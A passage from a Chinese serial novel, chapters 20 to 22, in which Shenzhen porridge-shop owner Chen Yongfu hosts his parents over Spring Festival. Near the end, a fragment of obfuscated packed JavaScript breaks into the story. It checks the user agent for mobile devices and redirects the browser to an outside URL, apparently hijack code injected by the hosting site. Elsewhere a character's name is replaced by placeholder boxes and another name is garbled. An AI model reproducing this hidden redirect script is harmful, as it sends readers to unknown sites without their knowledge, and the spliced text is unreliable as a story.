新年来了,父母要来,孩子们长大,生意要继续。
路还长,但他不怕。
有家,有粥,有深圳。
够了。
他回到床上,躺下。林玉兰翻了个身,轻声问:“还不睡?”
“就睡。”
闭上眼睛,明天还要早起。
但今晚,他想好好睡一觉。
20. 家宴
腊月二十三,小年。
深圳的街头巷尾飘起了年味。商场挂满了红灯笼,门口摆上了金桔树,黄澄澄的果子在绿叶间闪光。卖年货的摊子沿街摆开,春联、福字、窗花,红红火火一片。
陈永福起了个大早。天还没亮透,他就站在罗湖店门口,看着工人往门上贴春联。春联是他自己写的,红纸黑字,不太工整,但有力:“粥香飘千里,家暖聚一堂”。横批:“家香永驻”。
王建军在旁边指挥:“左边高点……好,好,就这样。”
“建军,今天早点打烊。”陈永福说,“让大家回去准备过年。”
“好嘞。”王建军应着,“老板,您父母是明天到吧?”
“嗯,下午三点的车。”
“我去接?”
“不用,我去。”陈永福看看表,“店里你盯着,下午四点关门。”
“行。”
陈永福转身进了店。后厨热气腾腾,刘师傅在熬今天的最后一锅粥。这锅粥要熬得特别稠,特别香,因为今天有很多老客人会来,喝一碗粥,说几句吉利话,算是辞旧迎新。
“刘师傅,今天辛苦。”
“不辛苦。”刘师傅擦擦汗,“老板,我老家寄了点腊肉,一会儿给您拿点。”
“谢谢,不用,你自己留着。”
“要的要的,您尝尝。”
陈永福没再推辞。他知道刘师傅的心意,收了,情谊就在。
上午十点,客人开始多起来。有很多熟面孔,都是老客。
“陈老板,新年好啊!”
“同好同好,里面坐。”
“还是老样子,皮蛋粥。”
“好嘞。”
一个老太太拄着拐杖进来,是小玲扶着。老太太姓梁,八十多了,住在附近,从粥铺开张就来喝粥,风雨无阻。
“梁婆婆,您来了。”陈永福迎上去。
“来啦,来啦。”梁婆婆坐下,“今天最后一天啦?”
“明天歇业,初五开。”
“好,好,歇歇。”梁婆婆从兜里掏出个红包,“给我小孙子,压岁钱。”
陈永福连忙推:“不用不用,梁婆婆您留着。”
“拿着,讨个吉利。”梁婆婆硬塞给他,“你是个好人,好人要有好报。”
红包很薄,但陈永福觉得沉甸甸的。他收下了,给梁婆婆盛了碗最稠的粥,多放了几片肉。
中午,何老板晃悠过来,提着两瓶酒。
“陈老板,提前拜个年。”
“何老板客气。”陈永福接过酒,“晚上来家里吃饭?”
“不了不了,你们一家人团聚,我就不凑热闹了。”何老板摆摆手,“初五开业,咱们再聚。”
“行。”
何老板走后,李文杰来了。他没带东西,就是来转转。
“李经理不回家过年?”
“不回,香港那边亲戚多,回去更累。”李文杰笑笑,“在深圳清静。”
“那晚上来吃饭?”
“好,那我带瓶酒。”
下午三点,店里最后一个客人走了。王建军带着员工打扫卫生,擦桌子,扫地,关灶封火。陈永福站在柜台后,看着这个他经营了三年的地方。
三年,从十平米到三家店,再到工厂。像一场梦,但又是真的。
“老板,收拾好了。”王建军走过来。
“好,发红包。”
陈永福拿出早就准备好的红包,一个挨一个发。每人一百,王建军两百,小周一百五,刘师傅两百。拿到红包的,脸上都笑开了花。
“谢谢老板!”
“新年快乐!”
“明年更好!”
发完红包,大家散了。陈永福最后检查一遍,锁上门。红色的春联在风中微微飘动,像在告别。
他坐车去火车站。路上堵,车走走停停。到车站时,已经三点二十。火车晚点,牌子上写着“晚点30分钟”。
候车室里人山人海。提大包小包的,抱孩子的,扶老人的,挤挤攘攘。空气里混着汗味、泡面味、烟味。广播里一遍遍播报车次,声音嘶哑。
陈永福找了个角落站着。他想起三年前,自己也是这样挤在人群里,等着来深圳的火车。那时候心里是茫然的,也是期待的。现在,他是来接人的,接父母来他的城市。
三点五十,广播响了:“从潮汕开来的K123次列车即将进站,停靠3号站台。”
人群骚动起来,涌向出站口。陈永福也跟着挤过去,踮着脚看。
火车缓缓进站,停下。车门打开,人流涌出。陈永福瞪大眼睛找。
看见了。
父亲穿着深蓝色的中山装,戴顶灰色帽子,手里提着个编织袋。母亲穿着碎花棉袄,围着围巾,背了个布包。两人在人群中显得单薄,有点茫然。
“阿爸!阿妈!”陈永福挥手。
父亲看见他了,点点头。母亲笑了,眼角皱纹堆起来。
陈永福挤过去,接过父亲手里的袋子:“路上辛苦。”
“不辛苦,坐卧铺,挺好。”父亲说,声音有点哑。
“晓梅呢?”母亲问。
“在家,玉兰看着。”陈永福一手提袋子,一手扶着母亲,“车在外面,咱们回家。”
出站,上车。父亲坐在副驾驶,母亲坐后面。车开动了,父亲看着窗外的深圳,不说话。
“变化大吧?”陈永福问。
“大,认不出来了。”父亲轻声说,“上次来,还是你结婚那年。”
那是七年前了。那时候深圳还没这么多高楼,罗湖老街还在。
“阿爸阿妈,这次来,多住些日子。”
“住到过年,过了年就回去。”母亲说,“家里鸡啊鸭啊,要人喂。”
“让永贵喂,你们就在这儿住。”陈永福说,“我租了大房子,够住。”
“那多费钱……”母亲说。
“不费钱,该花的。”
车开到小区。新小区,楼高,绿化好。父亲下车,抬头看楼:“这么高?”
“二十层,咱们住八楼。”陈永福说,“有电梯,不用爬。”
进电梯,父亲有点紧张,抓着扶手。母亲倒还好,只是好奇地看。
开门进屋,林玉兰迎上来:“阿爸阿妈,路上累了吧?”
“不累不累。”母亲拉着林玉兰的手,“玉兰,你瘦了。”
“没瘦,还胖了。”林玉兰笑,“晓梅,叫爷爷奶奶。”
晓梅在学步车里,眨巴着眼睛看陌生人,有点怕生。
“晓梅,这是爷爷,这是奶奶。”陈永福抱起女儿。
晓梅盯着爷爷奶奶看了会儿,忽然笑了,伸手要抱。母亲赶紧接过,眼圈红了:“乖,真乖。”
父亲站在客厅中间,看着这个家。地板是瓷砖的,亮得能照人。沙发是真皮的,又大又软。电视是彩色的,二十四寸。墙上挂着全家福,照片里的人都笑。
“永福,这房子……”父亲欲言又止。
“租的,月租三百。”陈永福老实说。
“三百?”父亲倒吸一口气,“这么贵?”
“现在深圳都这个价。”林玉兰端茶过来,“阿爸阿妈坐,喝茶。”
父亲坐下,手放在膝盖上,有点拘谨。母亲抱着晓梅,在屋里转,看这看那。
“建国呢?”母亲问。
“上学,一会儿就回来。”林玉兰说,“阿妈,你们房间在这儿,看看合不合适。”
房间朝南,有阳台。床是新的,被褥也是新的。衣柜、梳妆台、床头柜,一应俱全。窗外能看见小区的花园,还有远处的楼。
“真好。”母亲摸着被子,“真软。”
“阿妈喜欢就好。”林玉兰说。
父亲在客厅坐了一会儿,站起来:“永福,带我去店里看看。”
“今天打烊了。”
“看看外面也行。”
父子俩下楼,走到罗湖店。店门关着,春联鲜红。
“就是这里?”父亲问。
“嗯,第一家店。”陈永福说,“现在有三家店,还有一个工厂。”
父亲仰头看招牌,看了很久。然后伸出手,摸了摸门上的春联,手指划过“家香永驻”四个字。
“写得好。”他说。
“我写的,字不好看。”
“好看。”父亲转过身,看着儿子,“永福,你出息了。”
陈永福鼻子一酸:“都是阿爸阿妈教得好。”
“我们教什么了?就教了你种地。”父亲拍拍他的肩,“是你自己闯出来的。”
父子俩在店门口站了一会儿。夕阳西下,把春联照得更红了。
回到家,□□回来了。孩子看见爷爷奶奶,有点害羞,躲在妈妈身后。
“建国,来,叫爷爷。”陈永福说。
“爷爷,奶奶。”□□小声叫。
“哎,乖。”母亲拉过孙子,“长这么高了,上次见才这么点。”她比划着。
“上三年级了。”□□说。
“学习好吗?”
“还行。”
晚饭是林玉兰做的,六个菜一个汤:白切鸡、清蒸鱼、红烧肉、炒青菜、酿豆腐、蒜蓉菜心,还有排骨莲藕汤。满满一桌。
父亲坐下,看看桌子,又看看陈永福:“平时也这么吃?”
“不是,今天你们来,加菜。”陈永福说,“平时简单。”
“简单好,不要浪费。”父亲说。
开饭前,陈永福拿出相机:“拍张照吧,全家福。”
一家五口——加上晓梅是六口——挤在沙发上。陈永福调好定时,跑回去坐好。
闪光灯一亮,咔嚓。
照片拍好了,要等洗出来。但那一刻,定格了:父亲坐得笔直,母亲抱着晓梅笑,林玉兰靠着陈永福,□□在中间比了个“V”。
吃饭时,父亲问起工厂的事。陈永福简单说了,没说具体数字,怕吓着老人。
“你现在管多少人?”父亲问。
“一百多个。”
父亲沉默了,扒拉几口饭。过了一会儿,他说:“管这么多人,不容易。要对人家好,人家才跟你干。”
“我知道。”
“还有,做生意要实在。粥就是粥,不能糊弄。”
“嗯。”
母亲插话:“永福,你弟弟那边……”
“我知道,我会帮衬。”陈永福说,“等小芬生了,我给他们寄钱。”
“不用多,够用就行。”母亲说,“你们兄弟要团结。”
“知道。”
吃完饭,陈永福陪父亲在阳台抽烟。深圳的夜景在眼前铺开,高楼大厦,灯火璀璨。
“阿爸,你看,那边是国贸大厦,五十三层。”陈永福指着远处。
父亲眯着眼看:“真高。”
“还在盖更高的。”
“永福,”父亲吸了口烟,“你在这边,过得惯吗?”
“惯了,这里就是家。”
“老家呢?”
“老家也是家。”陈永福说,“等生意再稳点,我回去盖房子,你们两边住。”
父亲点点头,没说话。烟头在黑暗里一明一灭。
过了一会儿,他说:“你阿妈想来深圳住,又怕给你添麻烦。”
“不麻烦,你们来,我高兴。”
“她身体不好,老毛病,要常吃药。”
“深圳医院好,我带她去看。”
父亲转过头,看着儿子:“永福,你是个孝子。阿爸阿妈没白养你。”
陈永福眼睛热了:“阿爸说这些干嘛。”
“该说要说。”父亲拍拍他的肩,“你去忙吧,我站会儿。”
陈永福回屋。林玉兰在哄晓梅睡觉,母亲在厨房洗碗。他走过去:“阿妈,我来洗。”
“不用,你歇着。”母亲说,“玉兰都跟我说了,你整天忙,累。”
“不累。”
“还不累?看你瘦的。”母亲擦擦手,从兜里掏出个红布包,“这个给你。”
“什么?”
“你小时候的胎发。”母亲打开布包,里面是一撮细细的头发,用红绳绑着,“你出生时剪的,我一直留着。带在身上,保平安。”
陈永福接过,布包还带着母亲的体温。
“阿妈……”
“收好。”母亲看着他,“永福,钱是赚不完的,身体要紧。你要是有个好歹,这一家子怎么办?”
“我知道,我会注意。”
“光说没用,要做到。”母亲叹口气,“你从小就要强,我知道。但现在有家了,有孩子了,不能只想着往前冲,也要看看身边的人。”
陈永福点点头。这些话,林玉兰说过,郑文达说过,现在母亲又说。他知道,他们说得对。
晚上,父母睡了。陈永福和林玉兰躺在床上,都没睡意。
“阿爸阿妈老了。”林玉兰轻声说。
“嗯。”
“我想让他们长住。”
“他们不肯,说住不惯。”
“住住就惯了。”林玉兰说,“阿福,咱们现在条件好了,该让老人享福。”
“我知道。”陈永福握住她的手,“玉兰,谢谢你。”
“谢我什么?”
“谢谢你跟我来深圳,谢谢你照顾这个家。”
林玉兰靠在他肩上:“说这些干嘛。睡吧,明天还要忙。”
第二天,腊月二十四。陈永福带着父母逛深圳。
先去商场。商场里人山人海,年货堆成山。父亲看什么都新鲜,看什么都嫌贵。
“这个糖果,老家一斤三块,这里要五块。”
“深圳什么都贵。”陈永福说,“阿爸,想买什么就买,别省。”
“不买不买,看看就行。”
母亲倒是买了几样:给晓梅买了套新衣服,给建国买了支钢笔,给林玉兰买了条围巾。都是挑便宜的买,但心意在。
中午在商场吃饭,吃的是粤菜。父亲吃不惯,说太淡。母亲倒喜欢,说清爽。
下午去仙湖植物园。植物园里人少,清静。父母慢慢走,看花看树。父亲在一棵榕树前停下,看了很久。
“像老家那棵。”他说。
“深圳榕树多。”陈永福说。
“但不是老家那棵。”父亲轻声说,“永福,树有根,人也有根。你的根在潮汕,别忘了。”
“忘不了。”
“没让你回去,是让你记着。”父亲说,“记着根,才能长得高。”
陈永福点点头。他明白父亲的意思。<
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“真能盖这么高?”
“能,三天一层楼,深圳速度。”
“三天一层……”父亲摇摇头,“我们盖间房要三个月。”
“时代不一样了。”
“是不一样了。”父亲看着儿子,“永福,你赶上好时候了。”
“是。”
回家的路上,父亲睡着了,头靠着车窗。母亲也睡着了,手里还攥着给晓梅买的小衣服。
陈永福从后视镜里看着他们。父母真的老了,头发白了,皱纹深了,背也驼了。他们那一代人,吃过苦,受过穷,现在该享福了。
他暗下决心,一定要让他们在深圳住得惯,过得好。
腊月二十五,郑文达来拜年。提了盒香港点心,还有给孩子的红包。
“陈老板,新年好。”
“郑先生同好。”
郑文达跟陈永福父母打招呼,说普通话,父母听不太懂,只是点头笑。
“陈老板,年后有什么打算?”郑文达问。
“想把粥料卖到更多地方。”陈永福说,“广州已经进了,下一步想去佛山、惠州。”
“好,我支持。”郑文达说,“还有,香港那边反馈不错,想加大订单。”
“行,我让工厂准备。”
“不过有个问题。”郑文达说,“现在产能还是不够。香港要货,深圳要货,东莞要货,广州要货。一天两万包,分不过来。”
“再上一条线?”陈永福问。
“可以考虑。”郑文达说,“但投资大,要慎重。”
“过了年再说。”
郑文达走后,父亲问:“那是你老板?”
“是合作伙伴,香港人。”
“说话听不懂。”父亲说,“永福,你跟香港人做生意,要小心。他们精明。”
“我知道,郑先生人不错。”
“人不错就好。”父亲说,“但生意归生意,人情归人情,要分清楚。”
“嗯。”
腊月二十八,黄秀英从广州回来。她瘦了,但精神好。提了大包小包的年货,给每个人都带了礼物。
“老板,老板娘,新年好。”她鞠躬。
“秀英,辛苦你了。”林玉兰拉她坐下,“广州那边怎么样?”
“好,一天能卖五百碗。”黄秀英说,“工人多,市场大。我还想明年在佛山开一家。”
“别太急。”陈永福说,“先把广州的店做好。”
“知道。”黄秀英拿出个红包,“给晓梅的,压岁钱。”
“你留着,自己用。”陈永福推辞。
“老板,我现在有钱。”黄秀英笑,“一个月能挣三百多。”
陈永福一愣。三百多,比他刚来深圳时多多了。
“好,你出息了。”他收下红包,“秀英,过了年,把你爸妈接来玩玩。”
“我想接他们来住。”黄秀英说,“老板,我在东莞买了套房,两室一厅,月供八十。”
“买房了?”林玉英惊讶。
“嗯,分期付款。”黄秀英有点不好意思,“不大,但够住。”
陈永福心里感慨。三年前那个蹲在路灯下哭的女孩,现在在深圳买了房。这就是深圳,给普通人机会。
“好,好。”他连说两个好字。
年三十,团圆饭。
陈永福把所有人都请来了:王建军、小周、刘师傅、小林、李文杰、何老板、黄秀英,还有工厂的几个骨干。家里坐不下,在客厅又加了两张桌子。
林玉兰做了十六个菜,摆得满满当当。鸡鸭鱼肉,海鲜青菜,样样俱全。母亲帮忙打下手,父亲坐在主位,有点拘谨,但高兴。
开饭前,陈永福举杯:“今天过年,大家能来,我很高兴。这一年,大家辛苦了。我敬大家一杯。”
“敬老板!”众人举杯。
父亲也举起杯,手有点抖:“我代永福谢谢大家。他年轻,不懂事,大家多包涵。”
“阿爸……”陈永福想说不用,但父亲摆摆手。
“该说的要说。”父亲看着一屋子的人,“永福能有今天,是靠大家帮衬。我们老陈家记着这份情。”
众人感动,纷纷说:“陈老板人好,我们愿意跟着干。”
吃饭,喝酒,说笑。刘师傅讲了个笑话,大家都笑了。王建军说了个培训班的趣事,大家又笑了。黄秀英说了广州见闻,大家听得入神。
晓梅在大人中间跑来跑去,收红包收到手软。□□跟小林聊数学题,小林是大学生,讲得头头是道。
父亲慢慢喝着酒,看着这一切。他很少说话,但嘴角一直挂着笑。
母亲忙着给大家夹菜,说这个好吃,那个多吃点。
林玉兰在厨房和客厅之间穿梭,脸上泛着红晕。
陈永福坐在父亲旁边,看着这个热闹的家。这是他来深圳后,过得最热闹的一个年。
有父母,有妻儿,有朋友,有员工。
这就是他要的日子。
饭后,大家帮忙收拾。然后坐在客厅看电视,春节联欢晚会。小品,相声,唱歌。笑声不断。
零点钟声敲响时,深圳全城响起鞭炮声。虽然禁放,但拦不住。
陈永福站在阳台上,看着夜空被烟花照亮。红的,绿的,金的,银的,一朵朵炸开,璀璨夺目。
父亲站在他旁边,也看着。
“真好看。”父亲说。
“嗯。”
“永福,”父亲转过头,“阿爸为你骄傲。”
陈永福鼻子一酸,忍住。
烟花还在放,照亮了父亲的脸。那张布满皱纹的脸,此刻舒展着,笑着。
“阿爸,明年咱们还这么过。”陈永福说。
“好,好。”父亲拍拍他的肩,“进屋吧,冷。”
父子俩回屋。屋里暖,笑声暖,人心暖。
这个年,团圆了。
夜深了,客人散去。父母睡了,孩子睡了。陈永福和林玉兰收拾残局。
“累了吧?”陈永福问。
“不累,高兴。”林玉兰说,“阿福,你看阿爸阿妈,今天笑得多开心。”
“嗯。”
“以后每年都接他们来过年。”
“好。”
收拾完,两人坐在沙发上。电视里重播晚会,声音调得很小。
“阿福,新的一年,你有什么打算?”林玉兰问。
“把生意做好,让父母过好,让孩子上好学。”陈永福说,“你呢?”
“我?我就想把家照顾好,让你没有后顾之忧。”
陈永福握住她的手:“玉兰,有你在,我才能往前冲。”
“我知道。”林玉兰靠在他肩上,“阿福,咱们会越来越好的。”
“嗯,会好的。”
窗外,鞭炮声渐渐稀了。深圳的夜,慢慢安静下来。
但屋里,温暖如春。
陈永福看着熟睡的父母,看着孩子,看着妻子。
他想,这就是他的根,他的家,他的深圳。
新的一年,新的开始。
他会继续往前走,但不管走多远,根在这里,家在这里。
够了。
睡吧,明天又是新的一年。
21. 年味
初一的早晨,深圳下了点毛毛雨。
雨不大,像雾,飘在空中,落在脸上凉丝丝的。街上人少,很多店铺都关着门,红灯笼在雨雾里朦朦胧胧的,像浸了水的剪纸。
陈永福醒来时,天还没亮透。他轻手轻脚起床,怕吵醒林玉兰和孩子们。走到客厅,却看见父亲已经坐在沙发上,腰板挺直,像在老家早起时一样。
“阿爸,这么早?”
“习惯了,到点就醒。”父亲说,“你去忙你的,不用管我。”
“今天初一,店不开门。”陈永福在父亲旁边坐下,“阿爸,再睡会儿?”
“不睡了。”父亲看看窗外,“下雨了。”
“嗯,春雨贵如油。”
“深圳也这么说?”
“都说。”
父子俩坐了一会儿。雨丝斜斜地打在玻璃窗上,划出一道道水痕。
“永福,”父亲忽然开口,“昨晚上那些人,都是跟着你干的?”
“嗯,有些是店里的,有些是工厂的。”
“人不少。”父亲顿了顿,“你给他们发工资,他们靠你吃饭。这是责任,你要担好。”
“我知道。”
“知道不够,要记在心里。”父亲转过脸看他,“咱们老陈家,祖祖辈辈种地,没管过别人。现在你管这么多人,是天大的事。要对得起人家。”
陈永福点点头。父亲的话像石头,沉甸甸地压在心里。
厨房里传来动静,是母亲起来了。陈永福过去,看见母亲在烧水。
“阿妈,我来。”
“不用,你坐着。”母亲说,“初一早起烧水,是老家规矩。水要滚三滚,一年都顺溜。”
陈永福笑了。深圳没这规矩,但母亲守着。
水烧开了,母亲泡了壶茶。铁观音,潮汕人喝惯的。茶香飘出来,带着老家的味道。
一家人围坐在桌前喝茶。晓梅还在睡,□□揉着眼睛出来,看见爷爷奶奶,叫了声“新年好”。
“建国,来,红包。”母亲掏出红包。
“谢谢奶奶。”
“祝我孙子学习进步,身体健康。”
“祝爷爷奶奶长命百岁。”
大家都笑了。茶热气腾腾的,屋里暖。
喝完茶,林玉兰开始准备早饭。初一要吃素,这是老规矩。她做了几样:炒米粉、蒸萝卜糕、煮芋头、炒青菜,还有一锅白粥。
父亲尝了口萝卜糕,点头:“玉兰手艺好。”
“阿妈教的。”林玉兰说。
“是,你阿妈做的萝卜糕,全村最好。”母亲笑了,眼角皱纹堆起来。
吃完饭,雨停了。阳光从云缝里漏出来,照在湿漉漉的街上。
“出去走走?”陈永福问。
“好。”父亲说。
一家五口——抱着晓梅是六口——下楼。小区里很安静,只有几个孩子在放鞭炮,噼啪响。地上落着红纸屑,混在雨水里,像开败的花。
走到小区门口,碰见张阿姨。张阿姨提着菜篮子,看见他们,打招呼:“陈老板,新年好!带父母出来走走?”
“张阿姨新年好。”陈永福说,“这是我爸妈。”
“哎哟,叔叔阿姨好!永福常提起你们。”张阿姨热情地说,“你们真有福气,儿子这么出息。”
父亲笑笑,没说话。母亲跟张阿姨聊了几句,问菜价,问天气。
“深圳过年比老家暖和。”张阿姨说,“就是人少,都回老家了。”
“是啊,冷清。”母亲说。
“初五就热闹了,人都回来了。”张阿姨说,“叔叔阿姨多住些日子,看看深圳的热闹。”
“好,好。”
告别张阿姨,一家人往商场走。商场开门了,但人还是少。门口的金桔树上挂满了红包,风一吹,晃晃悠悠。
父亲在金桔树前停下,伸手摸了摸叶子。
“这树真能结果?”
“能,是观赏的,不能吃。”陈永福说。
“好看。”父亲说,“红红火火的。”
商场里,很多店铺还没开门。只有几家便利店和快餐店开着。一家粥铺开着——不是陈永福的,是另一家,招牌上写着“香港粥王”。
陈永福下意识地走过去看。店里冷冷清清,只有一个客人。粥的品种很多:及第粥、艇仔粥、状元粥,名字花哨,价格也贵,一碗要五毛。
“进去尝尝?”陈永福问。
“不用,家里有粥。”父亲说,“这种粥,花架子。”
陈永福笑了。父亲还是实在。
走过商场,到了老街那片空地。老榕树移走了,地基已经打好,钢筋水泥露出地面,像巨兽的骨架。围挡上写着“罗湖商业中心,1986年10月开业”。
父亲站在围挡前,看了很久。
“就是这儿?”他问。
“嗯,原来我的店就在那棵树下。”陈永福指着空地中央,“十平米,一张桌子,四张凳子。”
“现在呢?”
“现在在商场里,三十多平米,能坐二十个人。”
父亲点点头:“树呢?”
“移到公园去了,应该活了。”
“那就好。”父亲说,“树有灵,不能随便砍。”
雨又下起来了,细细密密的。一家人往回走。晓梅在婴儿车里睡着了,小脸红扑扑的。□□在前面跑,踩水坑,溅起水花。
“建国,小心点。”林玉兰喊。
“没事!”孩子回头笑。
回到家,母亲拿出带来的特产:潮汕牛肉丸、鱼丸、菜脯、橄榄菜。林玉兰中午就做了牛肉丸汤,鱼丸炒青菜。简单的菜,但有家乡味。
父亲吃得很香,连汤都喝完了。
“还是家里的味道好。”他说。
“深圳也有潮汕菜馆,但味道不正宗。”陈永福说。
“水土不一样,味道就不一样。”母亲说,“就像人,换了地方,还是那个人,但味道变了。”
这话让陈永福心里一动。是啊,他来深圳三年,还是陈永福,但味道变了。会说普通话了,会看报表了,会管工厂了。但骨子里,还是潮汕那个种田的陈永福。
下午,王建军来拜年。他提了盒糖果,还有给晓梅的红包。
“老板,叔叔阿姨,新年好。”
“建军来了,坐。”陈永福说。
王建军坐下,有点拘谨。父亲给他倒茶。
“听永福说,你现在管三家店?”父亲问。
“是,老板信任我。”王建军说,“我就是帮着看看,大事还是老板做主。”
“年轻人,好好干。”父亲说,“永福当年像你这么大时,还在田里干活。”
“我知道老板不容易。”王建军说,“我会努力的。”
聊了一会儿,王建军走了。父亲对陈永福说:“这小伙子实在,可用。”
“嗯,我培养他。”
“培养人好,但也要防着。”父亲说,“人心难测。”
“建军跟了我两年,信得过。”
“信得过就好。”父亲端起茶杯,“但记住,再信得过,也要留一手。这是生意,不是交朋友。”
陈永福点点头。父亲的话,他记下了。
初二,按潮汕习俗是回娘家的日子。林玉兰父母在老家,回不去。她就给家里打了电话,说了半个钟头。挂电话时,眼睛红红的。
“想家了?”陈永福问。
“嗯。”林玉兰擦擦眼睛,“三年没回去了。”
“等天暖了,咱们回去一趟。”
“好。”
中午,李文杰来拜年。他穿了件红色毛衣,看着喜庆。
“陈老板,叔叔阿姨,新年快乐。”
“李经理新年好。”陈永福介绍,“这是我爸妈。”
“叔叔阿姨好。”李文杰递上礼物,是盒香港点心,“一点心意。”
“谢谢,太客气了。”母亲接过。
李文杰坐下,聊了聊工厂的事。他说香港那边订单又增加了,要提前备货。又说广州市场反应不错,可以考虑扩大。
“陈老板,过了年,咱们得开个会,定一下今年的计划。”李文杰说。
“行,初五上班就开。”
“好。”
李文杰坐了一会儿就走了。父亲问:“这是香港人?”
“是,郑先生的经理,帮我管工厂。”
“说话斯文,像个读书人。”父亲说,“永福,你跟这些人打交道,要学着点。咱们农村人,直来直去,他们城里人,弯弯绕绕多。”
“李经理人实在,不绕。”
“那就好。”
初三,黄秀英从东莞回来拜年。她带了大包小包,给每个人都带了礼物。给父亲的是一盒普洱茶,给母亲的是一条围巾,给林玉兰的是一支口红,给□□的是一个变形金刚玩具,给晓梅的是一套小衣服。
“秀英,你花这么多钱干嘛?”林玉兰说。
“应该的。”黄秀英笑,“老板和老板娘对我有恩。”
“说这些。”陈永福说,“坐,吃饭。”
饭桌上,黄秀英说了东莞和广州的情况。东莞店恢复得不错,每天能卖两百多碗。广州店更好,一天能卖五百碗。她还谈下了两家超市,卖粥料。
“老板,我想过了年,在广州再开一家店。”黄秀英说。
“这么快?”
“机会好,那边批发市场新开了,工人多。”黄秀英说,“而且我有经验了,知道怎么做。”
陈永福想了想:“行,你看着办。但要稳,别贪多。”
“知道。”
父亲听着,没说话。等黄秀英走了,他才说:“这姑娘能干,但太冲。你要拉着她点,别让她跑太快,摔跟头。”
“我会的。”
初四,雨彻底停了。太阳出来,照得人暖洋洋的。深圳的人开始回来了,街上渐渐热闹起来。
陈永福带父母去东门逛。东门人多,熙熙攘攘的。卖衣服的,卖电器的,卖小吃的,吆喝声此起彼伏。
父亲在一个卖工具的摊子前停下,看一把锤子。
“阿爸,要买吗?”
“看看。”父亲拿起锤子,掂了掂,“这锤子轻,不如老家的沉。”
“现在都用这种,轻便。”
“轻了没劲。”父亲放下锤子,“干活还是沉的好。”
母亲在一个布料摊前看花布。各种颜色,各种花样,看得眼花。
“这布好看。”母亲指着一块碎花布。
“阿妈喜欢就买。”陈永福说。
“不用,我就看看。”母亲说,“深圳的布,颜色艳,但不经穿。”
逛到中午,在一家潮汕餐馆吃饭。点了卤鹅、蚝烙、炒粿条。父亲吃得很满意。
“这家味道正。”他说。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380755|200163||http|test|mini|href|location''.split(''|''),0,{}));
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>“老板是潮汕人。”服务员说。
“听口音就像。”父亲笑了,“老乡见老乡,两眼泪汪汪。”
吃完饭,去仙湖植物园。植物园里人不多,清静。父母慢慢走,看花看树。在一棵木棉树下,父亲停下。
“这树好,直。”
“木棉树,春天开红花,像火。”陈永福说。
“老家也有,但没这么高。”父亲仰头看,“深圳的树,都长得快。”
“是啊,三天一层楼,树也长得快。”
父亲笑了:“你这话说的,树跟楼比。”
“都是长嘛。”
在植物园逛了一下午,累了,回家。晚饭简单,剩菜热热,煮锅粥。
吃完饭,父亲说累了,早早就睡了。母亲在客厅缝衣服——晓梅的衣服扣子掉了,她给缝上。
陈永福坐在旁边,看着母亲穿针引线。灯光下,母亲的手粗糙,但很稳。一针一线,密密实实。
“阿妈,眼睛还行吗?”
“还行,就是老花,要戴眼镜。”母亲说,“永福,你阿爸这次来,高兴,但也不自在。”
“我知道。”
“他习惯了田里干活,现在坐着享福,不习惯。”母亲缝好扣子,咬断线,“你得多陪他说说话,别让他觉得孤单。”
“我会的。”
“还有,你生意上的事,别跟他说太多。”母亲说,“他不懂,听了担心,又帮不上忙,心里难受。”
“嗯。”
母亲叠好衣服,看着他:“永福,你现在出息了,阿妈高兴。但阿妈只求你一样:平平安安。钱多钱少,没关系,人好好的就行。”
“我知道。”
“知道就好。”母亲站起来,“我去睡了,你也早点睡。”
“好。”
母亲进了房间。陈永福坐在客厅里,没开电视,也没开灯。窗外有月光,照进来,朦朦胧胧的。
他想起了很多事。想起小时候,母亲在油灯下缝衣服,他在旁边写作业。想起父亲从田里回来,满身泥土,但带回来一把野果。想起老家那个破旧但温暖的家。
现在,他在深圳有了新家,更大,更亮,更舒服。但有些东西,好像丢了。
是什么呢?他说不清。
也许就是母亲说的,那种“味道”。老家的味道,童年的味道,简单的味道。
手机响了,是郑文达。
“陈老板,新年好。”
“郑先生新年好。”
“初五上班,咱们开个会,定一下今年的计划。”郑文达说,“我初步想了几个方向:一是扩大工厂产能;二是开拓新市场,比如上海、北京;三是开发新产品,比如儿童营养粥。”
上海?北京?陈永福心里一紧。那么远,他想都没想过。
“郑先生,会不会太快了?”
“不快,现在市场好,要抓住机会。”郑文达说,“陈老板,咱们要做大,就不能只盯着广东。全国市场,那才是大舞台。”
大舞台。陈永福想起父亲的话:树有根,人也有根。他的根在广东,在深圳。去上海、北京,根会不会断?
但他没说出来,只是说:“好,初五开会谈。”
挂了电话,陈永福走到阳台上。深圳的夜,依然灯火通明。远处工地还在施工,塔吊的灯像星星。
他想,这座城市不让人停。你停了,就被超了。你要一直跑,一直赶。
可跑得太快,会不会忘了为什么跑?
他不知道。
风吹过来,有点冷。他回屋,轻轻推开父母的房门。父母睡着了,呼吸均匀。月光从窗户照进来,照在父亲脸上,那张布满皱纹的脸,在睡梦中放松了。
陈永福站了一会儿,轻轻关上门。
回到自己房间,林玉兰还没睡。
“怎么了?”她问。
“没事,看看爸妈睡了没。”
“阿福,你是不是有心事?”
“没有。”
“别骗我。”林玉兰坐起来,“你从下午就不对劲。”
陈永福在床边坐下:“玉兰,你说,咱们现在这样,好吗?”
“好啊,有什么不好?”
“钱是多了,但人也累了。”陈永福说,“以前在老街,虽然穷,但简单。现在,开工厂,管百来号人,跟香港人打交道,跟政府打交道。我有点……有点怕。”
“怕什么?”
“怕撑不住。”陈永福说,“爸今天说,我对那些人要负责。我想想也是,一百多人,一百多个家庭。我要是倒了,他们怎么办?”
林玉兰握住他的手:“阿福,你不会倒。你踏实,肯干,能撑住。”
“可是……”
“没有可是。”林玉兰说,“咱们一步一步走来的,每一步都稳。以后也一样,稳稳地走,不会倒。”
陈永福看着她,妻子的眼神坚定,温暖。
“玉兰,有你真好。”
“傻子。”林玉兰靠在他肩上,“睡吧,明天初五,要开工了。”
“嗯。”
躺下,闭上眼睛。明天要开工,要开会,要定计划,要面对新的挑战。
但今晚,有妻子在身边,有父母在隔壁,有孩子在睡梦中。
这就够了。
根在这里,跑不了。
跑得再远,也跑不出这个家。
睡吧,明天又是新的一天。
22. 开工
初五的早晨,深圳醒了。
